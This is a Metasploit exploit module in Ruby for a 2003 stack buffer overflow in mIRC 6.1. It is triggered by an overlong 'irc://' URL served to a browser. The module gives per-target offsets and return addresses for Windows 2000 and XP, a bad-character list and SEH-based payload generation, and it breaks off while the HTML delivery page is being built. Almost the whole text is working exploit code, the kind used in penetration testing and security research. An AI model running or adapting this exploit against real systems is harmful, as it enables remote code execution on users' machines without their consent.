require 'msf/core' module Msf class Exploits::Windows::Browser::Mirc_Irc_Url < Msf::Exploit::Remote include Exploit::Remote::HttpServer::HTML include Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'mIRC IRC URL Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in mIRC 6.1. By submitting an overly long and specially crafted URL to the 'irc' protocol, an attacker can overwrite the buffer and control program execution. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision: 3653 $', 'References' => [ [ 'BID', '8819' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English All', { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 13 2003', 'DefaultTarget' => 0)) end def autofilter false end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) filler = Rex::Text.rand_text_alphanumeric(target['Offset'], payload_badchars) seh = generate_seh_payload(target.ret) sploit = filler + seh # Build the HTML content content = "